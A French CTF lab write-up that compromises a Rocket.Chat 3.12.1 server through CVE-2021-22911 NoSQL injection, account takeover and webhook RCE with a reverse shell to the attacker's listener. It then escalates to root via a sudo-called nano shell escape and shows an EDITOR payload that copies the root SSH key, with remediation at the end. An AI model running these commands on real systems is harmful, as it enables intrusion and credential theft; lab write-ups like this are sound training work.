ZNote Logo
ZNote
Labs Pentestmedium
17-05-2026

Lab Exception : Exploitation CVE-2021-22911 & PrivEsc Nano

Pentest d'un serveur de messagerie d'entreprise : découverte d'un Rocket.Chat 3.12.1 vulnérable à CVE-2021-22911 (NoSQL Injection → Account Takeover → RCE), récupération de credentials SSH dans l'environnement, et élévation de privilèges root via un shell escape dans nano.

Pentest
NoSQL Injection
CVE-2021-22911
Rocket.Chat
RCE
SSH
PrivEsc
Nano
Shell Escape
HackSmarter

Contexte & Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au Lab
Cibleexception.hsm - 10.0.24.50
CVECVE-2021-22911 (Rocket.Chat NoSQL Injection to RCE)
DifficultéMedium

Scénario : Dans le cadre d'un pentest interne, une cible hébergeant des communications d'entreprise sensibles a été identifiée. L'objectif est de compromettre entièrement le serveur et de démontrer un risque tangible au client.

Kill chain :

Scan → helpbot (80) + Rocket.Chat (3000)
        │
        ▼
/api/info → version 3.12.1 confirmée
        │
        ▼
CVE-2021-22911 → NoSQL Injection → token admin
        │  → Account Takeover → Webhook RCE
        ▼
Shell rocket.chat → credentials MongoDB → SSH Ron
        │
        ▼
sudo -l → check_log NOPASSWD → nano shell escape → root

1. Reconnaissance - RustScan

rustscan -a exception.hsm -- -A

Output :

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp   open  http    Apache httpd
|_http-title: HelpBot - Support Chat
3000/tcp open  http    Node.js Express framework
|_http-title: Rocket.Chat

Deux services web :

  • Port 80 : Un helpbot de support. Un simple chatbot statique.
  • Port 3000 : Rocket.Chat - une plateforme de messagerie d'entreprise.

Interface HelpBot port 80

Interface Rocket.Chat port 3000


2. Énumération Web

2.1 Feroxbuster - Port 80

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \
  -u http://10.0.24.50

Résultat Feroxbuster port 80

Rien de significatif. On inspecte le code source de la page, le chatbot est entièrement client-side en JavaScript, sans appel à une API backend. C'est un leurre décoratif.

Code source HelpBot

const responses = [
  { keywords: ["hi", "hello"], reply: "Hey there! How are you doing?" },
  { keywords: ["help"], reply: "Sure! What do you need help with?" },
  // ...
];

Toute la logique est dans le navigateur. Aucun endpoint serveur à exploiter ici.

2.2 Feroxbuster - Port 3000 (Rocket.Chat)

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
  -u http://10.0.24.50:3000

Résultat Feroxbuster port 3000

Un endpoint ressort : /api/info, c'est l'API REST de Rocket.Chat qui expose les métadonnées du serveur.

2.3 Création de Compte & Reconnaissance Manuelle

On crée un compte utilisateur sur le Rocket.Chat et on explore.

Dashboard Rocket.Chat après connexion

Dans le channel #general :

Message dans #general

Le message révèle l'email de l'administrateur : localh0ste@exception.local avec le username localh0ste. C'est l'information clé pour la suite, l'exploit nécessite de connaître le compte admin à cibler.

2.4 Vérification de la Version

Avant de chercher des exploits, on vérifie la version exacte de Rocket.Chat :

http://exception.hsm:3000/api/info

Version Rocket.Chat via /api/info

{
  "version": "3.12.1",
  "build": { ... }
}

Version 3.12.1 confirmée. Une recherche rapide sur Exploit-DB :

Exploit-DB résultats Rocket.Chat

CVE-2021-22911 - NoSQL Injection to RCE, exactement notre version.


3. Exploitation - CVE-2021-22911

Comprendre la Vulnérabilité

Rocket.Chat est une plateforme de messagerie d'entreprise open-source basée sur Meteor (JavaScript) et MongoDB. Elle est une alternative à Slack, utilisée en interne par de nombreuses entreprises.

La faille NoSQL Injection :

Lors d'une demande de réinitialisation de mot de passe, l'application construit une requête MongoDB pour trouver l'utilisateur par son email. Normalement, elle s'attend à recevoir une simple chaîne de caractères.

// Requête légitime (cherche un email exact)
{ "email": "admin@target.local" }

Le problème : l'application ne valide pas le type de données reçu. Elle accepte des objets JSON complexes à la place d'une simple chaîne. Un attaquant peut injecter des opérateurs MongoDB directement dans la requête :

// Requête malveillante (opérateur $regex)
{ "email": { "$regex": "^localh0ste" } }

L'opérateur $regex demande à MongoDB de trouver tous les comptes dont l'email commence par localh0ste. La base de données retourne le compte correspondant et génère un token de réinitialisation valide.

La chaîne d'exploitation complète :

Étape 1 - Extraction du token admin
  Attaquant envoie : {"email": {"$regex": "^localh0ste"}}
  MongoDB trouve le compte admin
  Application génère un token de reset → stocké en base

Étape 2 - Récupération du token par injection
  Via un compte faible privilège authentifié,
  l'attaquant interroge l'API pour lire le token
  en bruteforçant caractère par caractère avec $regex

Étape 3 - Account Takeover
  Token récupéré → changement de mot de passe admin
  Connexion au panneau d'administration

Étape 4 - RCE via Webhook
  Administration → Intégrations → Webhook entrant
  Le webhook permet d'exécuter des scripts JavaScript
  On injecte une commande bash → reverse shell

[!NOTE] Pourquoi le webhook donne une RCE ? Rocket.Chat permet aux administrateurs de créer des webhooks avec des scripts de traitement personnalisés. Ces scripts s'exécutent côté serveur avec les droits du processus Rocket.Chat. Un script malveillant peut donc appeler des commandes système (child_process.exec()).

Préparation de l'Exploit

On localise et télécharge l'exploit :

searchsploit -m linux/webapps/50108.py
Exploit: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)
    URL: https://www.exploit-db.com/exploits/50108
   Path: /usr/share/exploitdb/exploits/linux/webapps/50108.py
  Codes: CVE-2021-22911
Verified: True
Copied to: /home/zcook/labs/exception/50108.py

Installation des dépendances dans un environnement virtuel :

python3 -m venv venv
source venv/bin/activate
pip install oathtool requests

Adaptation du Payload

Le script original (50108.py) d'Exploit-DB ne fonctionnait pas sur cette cible malgré plusieurs tentatives d'ajustement. On a finalement utilisé la version adaptée par 0xb0b :

Référence : 0xb0b.gitbook.io - Exception writeup

Cette version (50108_opt.py) diffère de l'original sur 4 points clés :

DifférenceOriginalVersion 0xb0b
Extraction du secret 2FABlind NoSQL injection lenteInjection $where qui force MongoDB à lever une erreur contenant le secret TOTP
Extraction du token de resetBruteforce aveugle caractère par caractèreInjection $where sur services.password.reset.token plus rapide et fiable
Changement de mot de passeSans gestion du 2FAGénère le code TOTP via oathtool avec le secret extrait avant de changer le password
Reverse shellCommande en clairEncodé en Base64, évite les problèmes d'échappement de caractères dans le webhook

La logique globale reste la même, c'est l'implémentation de chaque étape qui diffère.

Lancement de l'Exploit

On prépare notre listener :

nc -lvnp 4444

Puis on lance l'exploit avec tous les paramètres nécessaires :

python 50108.py \
  -t http://exception.hsm:3000/ \
  -u 'test@lab.local' \
  -U 'test' \
  -p 'test2' \
  -a 'localh0ste@exception.local' \
  -A 'localh0ste' \
  -H 10.200.53.42 \
  -P 4444
ParamètreValeurRôle
-thttp://exception.hsm:3000/URL du Rocket.Chat cible
-utest@lab.localEmail du compte basse privilège qu'on contrôle
-UtestUsername du compte basse privilège
-ptest2Mot de passe du compte basse privilège
-alocalh0ste@exception.localEmail du compte admin à compromettre
-Alocalh0steUsername admin
-H10.200.53.42Notre IP Kali (où écoute nc)
-P4444Port d'écoute

Output de l'exploit :

Exploit en cours d'exécution

Exploit terminé avec succès

Notre listener reçoit la connexion :

connect to [10.200.53.42] from (UNKNOWN) [10.0.24.50] 52841
/bin/sh: 0: can't access tty
$

4. Post-Exploitation - Découverte des Credentials SSH

On explore l'environnement du serveur Rocket.Chat :

Exploration post-exploitation

Dans les fichiers de configuration de Rocket.Chat, on trouve les credentials de connexion MongoDB :

DB_HOST: localhost
DB_PORT: 27017
DB_NAME: rocketchat
DB_USER: Ron
DB_PASSWORD: <password_trouvé>

[!NOTE] Un pattern classique en pentest : les credentials de base de données sont souvent réutilisés comme mots de passe système. Le nom d'utilisateur Ron correspond à un compte local sur la machine.

On tente une connexion SSH avec ces credentials :

ssh Ron@exception.hsm

Connexion SSH Ron réussie

Connexion établie. On est maintenant Ron avec un vrai shell SSH stable bien mieux que le reverse shell fragile de Rocket.Chat.


5. Flag Utilisateur

Ron@Chatty:~$ ls
user.txt
Ron@Chatty:~$ cat user.txt

Flag utilisateur


6. Élévation de Privilèges

6.1 Analyse des Permissions sudo

Ron@Chatty:~$ sudo -l
Matching Defaults entries for Ron on Chatty:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User Ron may run the following commands on Chatty:
    (root) NOPASSWD: /opt/log_inspector/check_log --clean

Ron peut exécuter /opt/log_inspector/check_log --clean en tant que root, sans mot de passe.

Résultat sudo -l

6.2 Inspection du Binaire

Ron@Chatty:~$ file /opt/log_inspector/check_log
/opt/log_inspector/check_log: setuid ELF 64-bit LSB pie executable, x86-64,
version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=9afff3e86d2fb0228defb815a2e9b590ae33c24f,
for GNU/Linux 3.2.0, not stripped

Points clés :

  • ELF 64-bit : exécutable Linux compilé
  • setuid : s'exécute avec les droits du propriétaire (root) peu importe qui le lance
  • not stripped : les symboles de debug sont présents, strings va être utile
Ron@Chatty:~$ ls -la /opt/log_inspector/check_log
-rwsr-xr-x 1 root root 18432 May 15 2026 /opt/log_inspector/check_log

Permissions du binaire

Propriétaire : root. Bit SUID (rws) confirmé.

Ron@Chatty:~$ strings /opt/log_inspector/check_log

Output strings check_log

L'output de strings révèle que le binaire appelle nano pour ouvrir et afficher un fichier log lors de l'option --clean. C'est notre vecteur.

6.3 Dead Ends - Ce qui n'a Pas Marché

Avant de trouver le bon vecteur, plusieurs pistes ont été testées :

Abus de la variable $EDITOR :

EDITOR='bash -c "cat /root/.ssh/id_rsa > /tmp/root_key"' \
  /opt/log_inspector/check_log --clean
# Résultat : Permission denied - le binaire drop les privilèges avant d'appeler $EDITOR

Command injection dans les arguments : sans résultat.

Manipulation des fichiers temporaires /tmp : sans résultat.

Ces échecs ont orienté la recherche vers google et c'est là que GTFOBins entre en jeu.

6.4 Nano Shell Escape - Le Vecteur Réel

Références : GTFOBins - nano / Linux PrivEsc via sudo abuse

Principe :

Quand un processus doté de droits élevés lance un programme enfant, ce programme hérite des privilèges du parent. Le binaire check_log tourne en root et appelle nano. Nano reçoit donc les droits root. Si nano permet d'exécuter des commandes shell (ce qu'il fait nativement), le shell obtenu est root.

Ron (user standard)
    │
    └──▶ check_log --clean  (sudo → root)
                │
                └──▶ nano (hérite des droits root)
                         │
                         └──▶ sh (root) ← shell escape

Nano possède une fonctionnalité native d'exécution de commandes accessible via le menu "Read File" → "Execute Command". C'est documenté dans GTFOBins et c'est exactement ce qu'on va exploiter.

Séquence d'exploitation :

Étape 1 - Déclencher le binaire :

sudo /opt/log_inspector/check_log --clean

L'interface de nano s'ouvre avec les droits root.

Étape 2 - Activer le mode "Read File" :

Ctrl + R

Étape 3 - Basculer en mode "Execute Command" :

Ctrl + X

Un prompt de commande apparaît en bas de l'interface nano.

Étape 4 - Injecter le payload shell :

reset; sh 1>&0 2>&0
ÉlémentRôle
resetRéinitialise les paramètres visuels du terminal pour un affichage propre
shLance un shell standard (/bin/sh)
1>&0Redirige STDOUT vers STDIN - rend le shell interactif
2>&0Redirige STDERR vers STDIN - les erreurs sont aussi visibles

Étape 5 - Valider avec Entrée.

Nano disparaît, un shell interactif apparaît :

# whoami
root

Shell root obtenu


7. Flag Root

# cat /root/root.txt

Flag root


8. Conclusion & Remédiation

Kill Chain Complète

1. RustScan          → Port 80 (helpbot) + Port 3000 (Rocket.Chat 3.12.1)
2. /api/info         → Version confirmée → CVE-2021-22911 applicable
3. #general          → Email admin découvert (localh0ste@exception.local)
4. CVE-2021-22911    → NoSQL Injection → token admin → Account Takeover → RCE
5. Shell Rocket.Chat → Credentials MongoDB → réutilisation SSH
6. SSH Ron           → Shell stable sur la machine
7. Flag user         → Récupéré dans /home/Ron/
8. sudo -l           → check_log NOPASSWD → nano spawn root
9. Nano shell escape → Ctrl+R → Ctrl+X → reset;sh → shell root
10. Flag root        → Récupéré dans /root/

Remédiation

VecteurProblèmeRemédiation
Rocket.Chat 3.12.1CVE-2021-22911 - NoSQL Injection non patchéeMettre à jour vers Rocket.Chat ≥ 3.13.2
Validation des inputs APIAccepte des objets MongoDB en lieu d'une chaîneValider le type des données en entrée - rejeter tout ce qui n'est pas une chaîne simple
Email admin visibleExposé en clair dans un channel publicCanaux publics ne doivent pas contenir d'informations sensibles
Credentials MongoDB réutilisésMême password pour la DB et le compte systèmeCloisonner les credentials - un credential par service, jamais de réutilisation
check_log NOPASSWD sudoRon peut déclencher un shell root via nanoRestreindre sudo au strict nécessaire. Idéalement, supprimer cette règle. Si requis, utiliser un wrapper qui ne lance pas d'éditeur interactif
Nano dans le contexte privilégiéNano permet l'exécution de commandes - shell escape trivialNe jamais appeler d'éditeurs de texte interactifs depuis des binaires privilégiés. Utiliser cat (lecture seule) si l'affichage suffit

[!NOTE] La leçon clé : la réutilisation de credentials entre la base de données et le compte système est une erreur qui transforme une RCE limitée (contexte Rocket.Chat) en accès SSH légitime et stable. Sans ça, l'exploitation aurait été nettement plus complexe.


Writeup rédigé par Zcook - ZcookOps